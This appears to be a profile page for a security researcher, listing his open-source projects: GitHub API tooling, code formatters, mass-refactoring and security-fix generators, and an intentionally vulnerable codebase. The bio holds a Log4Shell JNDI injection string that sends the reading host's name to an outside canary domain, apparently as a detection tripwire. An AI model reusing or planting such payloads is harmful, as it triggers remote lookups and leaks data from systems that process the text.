Jonathan Leitschuh

Software Engineer & Security Researcher; First Dan Kaminsky Fellow @ HUMAN Security; ${jndi:ldap://x${hostName}.L4J.lile3fakwhyqg99zgj0yytxz7.canarytoken

Projects

PyGithub

Typed interactions with the GitHub API v3

Python - Released: 25 Feb 2012 - 6,745

spotless

Keep your code spotless

Java - Released: 27 Apr 2015 - 4,227

rewrite

Automated mass refactoring of source code.

Java - Released: 12 May 2020 - 1,853

ktlint-gradle

A ktlint gradle plugin

Kotlin - Released: 06 Mar 2017 - 1,392

RobotBuilder

Generate C++ or Java FRC programs

Java - Released: 09 May 2016 - 36

bulk-security-pr-generator

Generate thousands of pull requests to fix widespread security vulnerabilities across GitHub.

Python - Released: 06 Feb 2020 - 33

lgtm_hack_scripts

Collection of python helper API's for interacting with LGTM.com in ways the official API doesn't support.

Python - Released: 05 Sep 2020 - 23

security-research

Public disclosure channel for security vulnerabilities

Python - Released: 17 Feb 2021 - 15

kotlin-guiced

Convenience Kotlin API over the Google Guice DI Library

Kotlin - Released: 01 Jun 2017 - 17

vulnerable

An intentionally vulnerable codebase

Java - Released: 06 Feb 2024 - 0

maven-repository-injection

A POC which demonstrates repository injection with Apache Maven

Java - Released: 28 Jan 2020 - 5

moderne-client

Python - Released: 20 Nov 2023 - 0

pmd-kotlin

PMD Ruleset for Kotlin, in particular CPD support for Kotlin

Kotlin - Released: 05 Apr 2018 - 3

kwava

A faithful port of the Guava Standard Library to Kotlin

Java - Released: 03 Mar 2018 - 5